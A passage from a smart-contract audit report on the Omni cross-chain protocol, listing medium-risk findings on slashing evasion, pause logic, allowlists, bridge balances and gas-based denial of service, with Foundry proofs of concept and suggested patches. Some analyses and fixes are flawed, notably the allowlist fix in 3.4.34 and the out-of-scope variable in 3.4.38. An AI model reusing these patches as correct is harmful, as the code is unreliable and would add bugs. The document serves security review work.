+        data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
+        gasLimit: SETTLE_GAS
+    });

- xcall({
-        destChainId: omniChainId(),
-        to: gasStation,
-        conf: ConfLevel.Latest,
-        data: abi.encodeCall(OmniGasStation.settleUp, (recipient, owed[recipient])),
```

```
-        gasLimit: SETTLE_GAS
-    });

    emit FilledUp(recipient, owed[recipient], msg.value, f, t, amtOMNI);

    return amtOMNI;
}
```

3.4.28 Double-Sign Votes Not Slashed if Duplicative Vote Exists

Severity: Medium Risk

Context: keeper.go#L1077

- Description In the code implementation of `isDoubleSign`, a vote with a double-signature (indicating a slashable offense) will not trigger slashing if an identical vote has already been recorded in the `sigTable`. The method checks if a vote is a duplicate, and if so, it does not proceed with the double-sign validation. However, if a duplicative (identical) vote is present, it prevents the double-sign slashing, bypassing the expected punishment for double-sign offenses.

```
// isDoubleSign returns true if the vote qualifies as a slashable double sign.
func (k *Keeper) isDoubleSign(ctx context.Context, attID uint64, agg *types.AggVote, sig *types.SigTuple)
↪  (bool, error) {
    // Check if this is a duplicate of an existing vote
    if identicalVote, err := k.sigTable.GetByAttIdValidatorAddress(ctx, attID, sig.ValidatorAddress); err ==
↪  nil {
        // Sanity check that this is indeed an identical vote
        if !bytes.Equal(identicalVote.GetSignature(), sig.GetSignature()) {
            return false, errors.New("different signature for identical vote [BUG]")
        }

>>      return false, nil
    } else if !errors.Is(err, ormerrors.NotFound) {
        return false, errors.Wrap(err, "get identical vote")
    } // else identical vote doesn't exist

    doubleSign, err := k.sigTable.HasByChainIdConfLevelAttestOffsetValidatorAddress(ctx,
↪  agg.BlockHeader.ChainId, agg.AttestHeader.ConfLevel, agg.AttestHeader.AttestOffset, sig.ValidatorAddress)
    if err != nil {
        return false, errors.Wrap(err, "check double sign")
    } else if !doubleSign {
        return false, errors.New("duplicate vote neither identical nor double sign [BUG]")
    } // else double sign

    return true, nil
}
```

In case of `isDoubleSign` returns `ok = false`, the `doubleSignCounter` will not increase.

```
        if errors.Is(err, ormerrors.UniqueKeyViolation) {
            msg := "Ignoring duplicate vote"
>>          if ok, err := k.isDoubleSign(ctx, attID, agg, sig); err != nil {
                return err
            } else if ok {
                doubleSignCounter.WithLabelValues(sigTup.ValidatorAddress.Hex()).Inc()
                msg = " Ignoring duplicate slashable vote"
            }

            log.Warn(ctx, msg, nil,
                "agg_id", attID,
                "chain", k.namer(header.XChainVersion()),
                "attest_offset", header.AttestOffset,
                log.Hex7("validator", sig.ValidatorAddress),
            )
        } else if err != nil {
            return errors.Wrap(err, "insert signature")
        }
```

- Impact This logic opens a potential vector for validators to evade slashing penalties. Specifically, if a validator double-signs a vote but submits it in a way that creates a duplicate (identical vote entry in `sigTable`), the double-sign validation will be bypassed, leaving the validator unpunished. This undermines the integrity of the slashing mechanism, potentially allowing malicious or careless validators

to avoid penalties for behavior that should be considered punishable according to consensus rules.

- Recommendation

Reorder the checking in `isDoubleSign`. A vote should be checked for double-signature first, and then if it is a duplicative vote

```
func (k *Keeper) isDoubleSign(ctx context.Context, attID uint64, agg *types.AggVote, sig *types.SigTuple)
↪  (bool, error) {
    doubleSign, err := k.sigTable.HasByChainIdConfLevelAttestOffsetValidatorAddress(ctx,
↪  agg.BlockHeader.ChainId, agg.AttestHeader.ConfLevel, agg.AttestHeader.AttestOffset, sig.ValidatorAddress)
    if err != nil {
        return false, errors.Wrap(err, "check double sign")
    } else if doubleSign {
        return true, nil
    }

    // Check if this is a duplicate of an existing vote
    if identicalVote, err := k.sigTable.GetByAttIdValidatorAddress(ctx, attID, sig.ValidatorAddress); err ==
↪  nil {
        // Sanity check that this is indeed an identical vote
        if !bytes.Equal(identicalVote.GetSignature(), sig.GetSignature()) {
            return false, errors.New("different signature for identical vote [BUG]")
        }

        return false, nil
    } else if !errors.Is(err, ormerrors.NotFound) {
        return false, errors.Wrap(err, "get identical vote")
    }

    return false, errors.New("duplicate vote neither identical nor double sign [BUG]")
}
```

3.4.29 Uncontrolled Repeated Unjail Invocation

Severity: Medium Risk

Context: Slashing.sol#L35-L38

- Summary The `Slashing` contract allows multiple invocations of the `unjail` function for the same validator without any cooldown or state check mechanism, leading to potential fee wastage and unnecessary event emissions.
- Finding Description The `unjail` function lacks a mechanism to check if a validator has already been unjailed or to prevent repeated invocations. This issue arises because there is no state management or cooldown period implemented.

```
    function unjail() external payable {
        _burnFee();
        emit Unjail(msg.sender);
    }
```

- Impact Explanation Users may lose funds due to unnecessary repeated unjail calls.
- Scenario

1. Two users, User A and User B, attempt to unjail the same validator almost simultaneously.
2. User A successfully calls `unjail`, paying the required fee, and the validator is unjailed.
3. User B calls `unjail` immediately afterward, also paying the fee, but since the validator is already unjailed, this results in a wasted fee and redundant event emission.

- Proof of Concept Add this to `Slashing.t.sol` and run it `forge test --match-test test_unjail_-concurrent -vvvv`.

```
    function test_unjail_concurrent() public {
        address validator = makeAddr("validator");
        uint256 fee = slashing.Fee();

        // Set initial balance for both users
        address user1 = makeAddr("user1");
        address user2 = makeAddr("user2");
        vm.deal(user1, fee);
        vm.deal(user2, fee);

        // Expect the Unjail event for user1
        vm.expectEmit();
        emit Unjail(user1);

        // User 1 attempts to unjail
        vm.prank(user1);
        slashing.unjail{ value: fee }();

        // Expect the Unjail event for user2
        vm.expectEmit();
        emit Unjail(user2);

        // User 2 attempts to unjail
        vm.prank(user2);
        slashing.unjail{ value: fee }();
    }
```

```
log:
     emit Unjail(validator: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
     [0] VM::prank(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
         [Return]
     [35705] 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f::unjail{value: 100000000000000000}()
        [0] 0x0000000000000000000000000000000000000dEaD::fallback{value: 100000000000000000}()
            [Stop]
        emit Unjail(validator: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
         [Stop]
     [0] VM::expectEmit()
         [Return]
     emit Unjail(validator: user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
     [0] VM::prank(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
         [Return]
     [8205] 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f::unjail{value: 100000000000000000}()
        [0] 0x0000000000000000000000000000000000000dEaD::fallback{value: 100000000000000000}()
            [Stop]
        emit Unjail(validator: user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
         [Stop]
```

- Recommendation Implement a state check to ensure that a validator cannot be unjailed more than once without a cooldown period.

3.4.30 Event logs and gas optimization

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description In the Staking.sol contract, the check for whether a validator is already allowed is performed using the isAllowedValidator mapping. This mapping keeps track of which validators are allowed to create a validator.

mapping(address => bool) public isAllowedValidator;

- Proof of Concept When the allowValidators function is called, it iterates through the provided array of validator addresses. For each address, it checks whether that address is already in the isAllowedValidator mapping.

`function` allowValidators(address[] calldata validators) external onlyOwner { for (uint256 i = 0; i < validators.length; i++) { isAllowedValidator[validators[i]] = true; // No check for existing status emit ValidatorAllowed(validators[i]); } } “

- Recommendation *Check for Existing Status: Before setting a validator as allowed, check if they are already in the isAllowedValidator mapping. This prevents redundant writes.

*Optimize Event Emission: Only emit events for validators that are being newly allowed, which reduces the number of emitted events.

`function` allowValidators(address[] calldata validators) external onlyOwner { for (uint256 i = 0; i < validators.length; i++) { if (!isAllowedValidator[validators[i]]) { isAllowedValidator[validators[i]] = true; // Only update if not already allowed emit ValidatorAllowed(validators[i]); // Emit event only for new additions } } }"

*Reduced Gas Costs: The function will only perform updates for validators that are not already allowed, leading to lower gas costs. *Cleaner Event Logs: Emitting events only for new entries makes the event logs clearer and more meaningful.

3.4.31 Missing verification of `address(0)` in the constructor of the `OmniBridgeL1` contract

Severity: Medium Risk

Context: OmniBridgeL1.sol#L43

- Summary No verification was be made to check that `token_` is a valid non-zero address in the constructor.
- Finding Description When initialising the `token` address in the `OmniBridgeL1` contract constructor, no validation was performed to check that the `token_` parameter could not contain an invalid address; so `token` could be initialised with `address(0)` which is an invalid address. If `token` is set to `address(0)` ,it would lead to significant issues in the `OmniBridgeL1::_bridge` function and any other functions that interact with the `token`:

```
    constructor(address token_) {
        // @audit lack of address(0) check
@>      token = IERC20(token_);
        _disableInitializers();
    }
```

We use this `token` in the `OmniBridgeL1::_bridge` function as follows:

```
    function _bridge(address payor, address to, uint256 amount) internal {

        /// ... The rest of code

        bytes memory xcalldata =
@1>         abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪   amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪   insufficient fee"
        );
@2>     require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        /// ... The other code
    }
```

The `@1>` and `@2>` lines in the `OmniBridgeL1::_bridge` function above will always fail when `token` is set to `address(0)` leading to the function not being used by any user.

- Impact Explanation As `address(0)` does not represent a real `token`, the bridge would not work as expected, resulting in a complete shutdown of its operation, such as a DOS or unexpected failures.
- Likelihood Explanation Each time the `token` is set to `address(0)` when initialising the `OmniBridgeL1` contract.
- Recommendation (optional)

```
    constructor(address token_) {
+       require(token_ != address(0), "OmniBridge: token address cannot be zero");
        token = IERC20(token_);
        _disableInitializers();
    }
```

3.4.32 Cross chain calls to L2 can fail

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Description First we would like to note that this finding does not fall under the following OOS mention:
  - Blobs vs Calldata
    - FeeOracleV1/V2 is currently out of scope, as it does not currently take into account rollups that use blobs or non-EVM DA services.

This finding is not about blobs or non-EVM chains.

We will take Optimism as an example.

Whenever performing `xcalls` to Optimism an additional fee is added on top of the execution fee, as per the OP fee calculator:

```
Optimism Transaction Fee = [ Fee Scalar * L1 Gas Price * (Calldata + Fixed
Overhead) ] + [ L2 Gas Price * L2 Gas Used ]
```

- `[ Fee Scalar * L1 Gas Price * (Calldata + Fixed Overhead) ]` This is the data availability fee.
- `[ L2 Gas Price * L2 Gas Used ]` this is the execution fee.

Unfortunately the data availability fee is not taken into account when performing cross chain calls. Because of this, the node will end up having to overpay for the non-accounted data fee.

- Impact Ultimately users can make the node overpay, either by doing so maliciously or honest.
- Recommendation Consider accounting for the data availability fee.

3.4.33 Chain specific messages can remain blocked after global unpause in OmniPortal

Severity: Medium Risk

Context: OmniPortal.sol#L547

- Description

The `OmniPortal` contract's pause mechanism, inherited from `PausableUpgradeable`, exhibits unexpected behavior where chain-specific pause states persist after a global unpause operation. When administrators invoke `unpause()`, only the global pause state (KeyPauseAll) is cleared while previously set chain-specific pause states remain active, leading to unexpected message blocking in the cross-chain messaging system.

```
// PausableUpgradeable.sol
function _unpauseAll() internal {
    _unpause(KeyPauseAll);  // Only clears global pause
}

// OmniPortal.sol
function unpause() external onlyOwner {
    _unpauseAll();  // Inherits limited unpause behavior
    emit Unpaused();
}
```

Cross-chain messages remain blocked despite global unpause

- Proof of Concept Add this test under `./test/xchain/OmniPortal_xcall.t.sol`

```
function test_xcall_orphanedPauseState() public {
    // Setup
    XTypes.Msg memory xmsg = _outbound_increment();
    uint8 conf = uint8(xmsg.shardId);
    uint256 fee = portal.feeFor(xmsg.destChainId, xmsg.data, xmsg.gasLimit);
    vm.chainId(thisChainId);
    address correctOwner = portal.owner();

    // 1. Pause specific chain
    vm.prank(correctOwner);
    portal.pauseXCallTo(chainAId);
    assertTrue(portal.isPaused(portal.ActionXCall(), chainAId));

    // 2. Global pause
    vm.prank(correctOwner);
    portal.pause();
    assertTrue(portal.isPaused());

    // 3. Global unpause
    vm.prank(correctOwner);
    portal.unpause();

    // 4. Verify global pause cleared but chain still paused
    assertFalse(portal.isPaused());
    assertTrue(portal.isPaused(portal.ActionXCall(), chainAId), "Chain A should still be paused!");

    // 5. Verify xcalls still fail
    vm.expectRevert("OmniPortal: paused");
    vm.prank(xcaller);
    portal.xcall{ value: fee }(chainAId, conf, xmsg.to, xmsg.data, xmsg.gasLimit);
}
```

- Recommendation Modify the `_unpauseAll()` function to clear both global and chain-specific pause states while maintaining a trackable registry of all active pause states.

3.4.34 When isAllowlistEnabled is set to false, anyone can successfully call the createValidator(...) and delegate(...) functions

Severity: Medium Risk

Context: Staking.sol#L89-L111

- Description

The `isAllowlistEnabled` is incorrectly implemented with the `require` statements in the `createValidator(...)` and `delegate(...)` functions such that it allows anyone to successfully call the createValidator(...) and delegate(...) functions when `isAllowlistEnabled` is set to false. When `isAllowlistEnabled` is set to false no one should be able to successfully call the `createValidator(...)` and `delegate(...)` functions but reverse is the case.

Secondly when `isAllowlistEnabled` is set to false even an account that is diabled from the allowlist with the `disallowValidators(...)` will also successfully call the `createValidator(...)` and `delegate(...)` functions which is not supposed to be so.

- Proof of Concept

The validation for allowlist are wrongly implemented in the require statements on line `90` and `104` of the `createValidator(...)` and `delegate(...)` functions causing the functions to execute successfully for disallowed validators and anyother account when `isAllowlistEnabled` is set to false. This is due to how the `||` (OR) operator works by short circuiting once it gets the first operand.

```
File: Staking.sol
/**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {
90:     require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");//@audit-issue
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }

    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
104:  require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");//@audit-issue
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

These incorrect validations of the `isAllowlistEnabled` render the `disallowValidators(...)` and `allowValidators(...)` redundant.

- Recommendation

Consider implementing the changes below to ensure users can only successfully call createValidator(...) and delegate(...) functions when `isAllowlistEnabled` is `enabled` and the the `validator` is allowListed this way:

```
function createValidator(bytes calldata pubkey) external payable {//@udit loss of ETHer because no record.
--      require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
++     require(isAllowlistEnabled && isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }

    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
--      require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
++    require(isAllowlistEnabled && isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

3.4.35 Flaw in pausability implementation

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Overview

The protocol is currently trying to implement the pausability mechanism, However, as indicated by the openzeppelin implementation, when calling these pause or unpause functions, it is crucial to know the state that the contract is currently in.

lets look at how it works below

From the docs it is indicated that

The functions `pause()` and `unpause()` which are intended to manage the paused state of the contract, allowing the owner to stop or resume operations in case of emergencies, upgrades, or other important events, should have sufficient controls and preconditions that validate whether the contract is already in the required state before executing these functions. Specifically, these functions do not enforce that the contract must already be unpaused when pausing or paused when unpausing

If the contract allows pausing even when it is already paused, it may result in unintended consequences such as redundant state changes or disruptions to normal contract operations. This can confuse users and affect the expected behavior of the contract.

Allowing the contract to be unpaused when it is not already paused can introduce security risks by potentially enabling unauthorized actions or changes to the contract state. This could lead to exploitation by malicious actors, resulting in financial losses or other detrimental outcomes.

Failure to enforce proper pausing and unpausing conditions undermines the contract owner's ability to effectively manage and control contract operations. This loss of control may lead to scenarios where critical functions are executed inadvertently or inappropriately.


```
/// @notice Pause fill ups
    function pause() external onlyOwner {
        _pause();
    }

    /// @notice Unpause fill ups
    function unpause() external onlyOwner {
        _unpause();
    }
```

As it is the functions lack modifiers to prevent the functions from being called when the contract is paused or unpaused

- POC

The OpenZeppelin implementation of pausable contracts includes specific requirements in the comments for the pause and unpause functions click here for more:

Pause Function: According to the comments, the contract must not be paused when calling `_pause`.

The code snippets below are from the Pausable contract

```
/**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
@--->  * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }
```

Unpause Function: As per the comments, the contract must be paused when calling `_unpause`.

```
/**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
```

Just as it is done in openZeppelin the same approach should be applied in the protocol to avoid unecessary state changes without verifying the current state

- Recommendation

Before calling the pause and unpause functions in the contract it is important to ensure that the contract is not in the state that is being changed to. lets look at an example below. Use the same idea and apply applicable modifiers accordingly.

```
function pause() external onlyOwner whenNotPaused {
        _pause();
    }

    /// @notice Unpause fill ups
    function unpause() external onlyOwner whenPaused {
        _unpause();
    }
```

3.4.36 Cross-Chain Shard Support Mismatch Can Lead to Failed Transactions and Lost Fees

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The OmniPortal contract only validates shard support on the source chain during xcalls, without guaranteeing that the destination chain supports the same shards. This can result in users paying gas and cross-chain messaging fees for transactions that will inevitably fail on the destination chain. Additionally, users may be left waiting indefinitely for their cross-chain message to arrive at the destination, unaware that the message cannot be delivered due to unsupported shard configuration.
- Finding Description In the OmniPortal contract, when a user initiates an xcall, the contract checks:

1. If the destination chain is supported
2. If the specified shard is supported on the source chain

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable
    whenNotPaused(ActionXCall, destChainId)
{
    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    // ...
    uint64 shardId = uint64(conf);
    require(isSupportedShard[shardId], "OmniPortal: unsupported shard");
    // ... proceeds with transaction ...
}
```

However, shard support is configured independently on each chain through the `_setNetwork` function:

```
function _setNetwork(XTypes.Chain[] calldata network_) internal {
    _clearNetwork();
    XTypes.Chain calldata c;
    for (uint256 i = 0; i < network_.length; i++) {
        c = network_[i];
        // if not this chain, mark as supported dest
        if (c.chainId != chainId()) {
            isSupportedDest[c.chainId] = true;
            continue;
        }
        // if this chain, mark shards as supported
        for (uint256 j = 0; j < c.shards.length; j++) {
            isSupportedShard[c.shards[j]] = true;
        }
    }
}
```

This creates a scenario where a shard might be supported on the source chain but not on the destination chain, leading to failed transactions after fees are paid.

- Impact Explanation When this issue occurs:

1. Users pay gas fees for the source chain transaction
2. Users pay cross-chain messaging fees
3. The transaction doesnot get executed on the destination chain
4. All fees are lost with no possibility of refund
5. User may make assumptions about sent message that may never get delivered

The financial impact is direct and unavoidable once the initial transaction is submitted, affecting any user attempting to use an unsupported shard configuration.

- Likelihood Explanation The likelihood is moderate because:

1. Each chain independently maintains its shard configuration
2. There's no automatic synchronization of shard support across chains
3. Network upgrades or maintenance could easily lead to temporary mismatches
4. Users have no reliable way to verify destination chain shard support before submitting transactions

- Recommendation The contract can be modified to track and validate shard support on destination chains before allowing transactions to proceed. This can be achieved by implementing a destination chain shard support mapping and adding appropriate validation checks in the xcall function, ensuring users don't waste fees on transactions that would fail at the destination.

3.4.37 Potential burning of tokens by transferring to zero address due to insufficient validation in withdraw()

Severity: Medium Risk

Context: OmniBridgeL1.sol#L59

- Description In the `OmniBridgeL1` contract, while the `bridge()` function includes a check to prevent bridging tokens to the zero address (`address(0)`), the `withdraw()` function lacks a similar validation. This lack of validation allows for a scenario where tokens could be inadvertently sent to the zero address, as a result burning them.

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall");
    require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

    token.transfer(to, amount);

    emit Withdraw(to, amount);
}
```

as you can see the `withdraw()` function lacks a check to ensure that the to address is not the zero address

- Recommendation Introduce a validation check in the `withdraw()` function to prevent transfers to the zero address:

```
function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
+    require(to != address(0), "OmniBridge: cannot withdraw to zero address");
      XTypes.MsgContext memory xmsg = omni.xmsg();

      require(msg.sender == address(omni), "OmniBridge: not xcall");
      require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
      require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

      token.transfer(to, amount);

      emit Withdraw(to, amount);
}
```

3.4.38 Unchecked Gas Limit and Data Size in Cross-Chain Message Execution

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary The Omniportal bridge system's `_call` function, used within the `xSubmit flow`, lacks adequate gas limit validation and data size checks for cross-chain messages. This vulnerability enables an attacker to craft messages with excessive data payloads, leading to gas exhaustion. When exploited, this could cause Denial of Service (DoS), where batches of cross-chain messages fail, disrupting normal bridge operations. The vulnerability exists in the way xSubmit processes multiple cross-chain messages (Xmsgs) and calls _exec, which subsequently invokes _call to execute each message. In this sequence:

1. **xSubmit receives a batch of cross-chain messages (Xmsgs).**
2. **For each message in the batch, _exec prepares the call parameters, including data, and forwards them to `_call`.**
3. **_call then executes each message on the target contract.**

Before getting to `_call`, there was no validation of gasLimit or the length of data. This omission allows attackers to specify both a high gasLimit and an excessively large data payload. This combined manipulation can consume nearly all available block gas and cause the invalid() opcode to execute, simulating an out-of-gas condition and forcing the transaction to revert. Without gas and data checks, a single malicious transaction can cause the entire batch to fail, effectively denying service for legitimate cross-chain messages.

```
function _call(address to, uint256 gasLimit, bytes calldata data) internal returns (bool, bytes memory,
↪  uint256) {
    uint256 gasLeftBefore = gasleft();

    // Executes the external call with unchecked gas limit and data size
    (bool success, bytes memory result) =
        to.excessivelySafeCall({ _gas: gasLimit, _value: 0, _maxCopy: xreceiptMaxErrorSize, _calldata: data });

    uint256 gasLeftAfter = gasleft();

    // Check if theres sufficient gas after the call; revert if low
    if (gasLeftAfter <= gasLimit / 63) {
        assembly {
            invalid()  // Consume remaining gas, causing revert
        }
    }

    return (success, result, gasLeftBefore - gasLeftAfter);
}
```

xSubmit

```
function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");

        // check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
        require(
            Quorum.verify(
                xsub.attestationRoot,
                xsub.signatures,
                valSet[valSetId],
                valSetTotalPower[valSetId],
                XSubQuorumNumerator,
                XSubQuorumDenominator
            ),
            "OmniPortal: no quorum"
        );

        // check that blockHeader and xmsgs are included in attestationRoot
        require(
            XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
            "OmniPortal: invalid proof"
        );

        // execute xmsgs
        for (uint256 i = 0; i < xmsgs.length; i++) {
            _exec(xheader, xmsgs[i]);
        }
    }

    /**
     * @notice Returns the current XMsg being executed via this portal.
     *          - xmsg().sourceChainId  Chain ID of the source xcall
     *          - xmsg().sender         msg.sender of the source xcall
     *         If no XMsg is being executed, all fields will be zero.
     *          - xmsg().sourceChainId  == 0
     *          - xmsg().sender         == address(0)
     */
    function xmsg() external view returns (XTypes.MsgContext memory) {
        return _xmsg;
    }

    /**
     * @notice Returns true the current transaction is an xcall, false otherwise
```

```
     */
    function isXCall() external view returns (bool) {
        return _xmsg.sourceChainId != 0;
    }
```

An attacker could exploit the Omniportal bridge system by submitting a crafted cross-chain message through xSubmit with an excessively high gasLimit (close to the block gas limit) and a complex, large data payload designed to maximize gas consumption during execution. When xSubmit processes this batch, it validates and passes each message to _exec, which prepares the parameters—including the high gas limit and large data payload—before invoking _call. Within _call, `excessivelySafeCall` executes the message on the target contract with the provided high gas limit, resulting in nearly the entire block's gas being consumed. After execution, the remaining gas (gasLeftAfter) is significantly low, causing the `invalid()` opcode to trigger, which consumes all remaining gas and forces a revert.

> Since `xSubmit` processes cross-chain messages in batches, this crafted message's failure due to gas exhaustion leads to the entire batch failing, preventing legitimate cross-chain messages from executing. This causes a Denial of Service (DoS) in the bridge system, impacting the timely and reliable processing of other users' messages.

- Impact A failed batch means multiple cross-chain messages are delayed or lost, significantly impacting bridge reliability.
- Recommendation **Introduce Gas Limit and Data Length Validation:**

```
  function xsubmit(XTypes.Submission calldata xsub)
        external
        whenNotPaused(ActionXSubmit, xsub.blockHeader.sourceChainId)
        nonReentrant
    {
        XTypes.Msg[] calldata xmsgs = xsub.msgs;
        XTypes.BlockHeader calldata xheader = xsub.blockHeader;
        uint64 valSetId = xsub.validatorSetId;

        require(xheader.consensusChainId == omniCChainId, "OmniPortal: wrong cchain ID");
        require(xmsgs.length > 0, "OmniPortal: no xmsgs");
        require(valSetTotalPower[valSetId] > 0, "OmniPortal: unknown val set");
        require(valSetId >= _minValSet(), "OmniPortal: old val set");
+        require(xmsg.gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
+        require(xmsg.gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
+        require(xmsg.data.length <= xmsgMaxDataSize, "OmniPortal: data too large");
```

3.4.39 Uninitialized L1BridgeBalance on Initial Deployment Causing Reversion of Cross-Chain Transactions from Omni Native Token to (L1)

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

- Summary

This report identifies a critical vulnerability in the `OmniBridge` contract, where the L1 bridge balance remains zero after deployment, despite pre-deployment funding. This issue results in failed attempts to bridge funds from the Omni native token to L1.

- Finding Description

The `OmniBridgeNative` contract is designed to facilitate transfers between the Omni native token on the Omni blockchain and its corresponding ERC20 on Ethereum (L1). Before deployment, the Omni and L1 contracts are both provisioned with sufficient funds to enable cross-chain operations.

From the docs-

> **For Solidity Researchers**
>
> **OMNI bridge**
>
> - The OMNI bridge (under contracts/core/src/token) has 2 components – a contract on Ethereum and a contract on Omni
> - Each contract holds significant funds – the OMNI ERC20 on Ethereum, and the native token on Omni.

However, the code sets the initial `l1BridgeBalance` to zero, meaning the balance does not accurately reflect the funded contract.

```
 uint256 public l1BridgeBalance;

constructor() {
      _disableInitializers();
  }

  function initialize(address owner_) external initializer {
      __Ownable_init(owner_);
  }
```

```
  /**

@audit >> Note . >>     * @notice Setup core contract parameters, done by owner immediately after
↪  pre-deployment.


    *    * @param l1ChainId_    The chain id of the L1 network.
   * @param omni_          The address of the OmniPortal contract.
   * @param l1Bridge_      The address of the L1 OmniBridge contract.
   *
   */
@audit >> No balance setup . >>     function setup(uint64 l1ChainId_, address omni_, address l1Bridge_)
external onlyOwner {


      l1ChainId = l1ChainId_;
      omni = IOmniPortal(omni_);
      l1Bridge = l1Bridge_;
      emit Setup(l1ChainId_, omni_, l1Bridge_);
  }
```

```
/**
   * @dev Trigger a withdraw of `amount` OMNI to `to` on L1, via xcall.
   */
  function _bridge(address to, uint256 amount) internal {
      require(to != address(0), "OmniBridge: no bridge to zero");
      require(amount > 0, "OmniBridge: amount must be > 0");


@audit >> 2 . >>       require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");


     require(msg.value >= amount + bridgeFee(to, amount), "OmniBridge: insufficient funds");

      l1BridgeBalance -= amount;
```

As a result, the first multiple attempts to bridge from the Omni native token to L1 reverts because the function `_bridge` fails the liquidity check: `require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");`. This condition is never met, given that `l1BridgeBalance` remains at zero post-deployment.

- Impact Explanation

The vulnerability impacts the bridging functionality in the following ways:

1. **Bridging Failure**: Since the initial `l1BridgeBalance` is set to zero, all bridging attempts from the Omni native token to L1 fail immediately due to insufficient liquidity.

- Likelihood Explanation

The likelihood of encountering this issue is high due to the following reasons:

- **Immediate Failure**: Any attempt to bridge funds will fail until `l1BridgeBalance` is correctly set.
- **Operational Dependency**: Since the IOmniBridgeNative contract relies on the `l1BridgeBalance` to function, there's a high likelihood that the error will be encountered and by multiple users before there is a bridge from L1 to native.
- Proof of Concept

Below is a sample proof of concept illustrating how the vulnerability causes bridge failure.

1. **Setup**: Deploy the `OmniBridge` contract with the intention of bridging from the Omni native token to L1.
2. **Funding**: Ensure both the Omni native token and L1 have been supplied with sufficient funds before deployment.
3. **Attempted Bridge**:

```
// Attempting to bridge
_bridge(address recipient, uint256 amount); // Expected to revert
```

4. **Expected Result**: The bridging attempt reverts due to the `require(amount <= l1BridgeBalance, "OmniBridge: no liquidity");` statement, confirming that `l1BridgeBalance` is zero.

- Recommendation

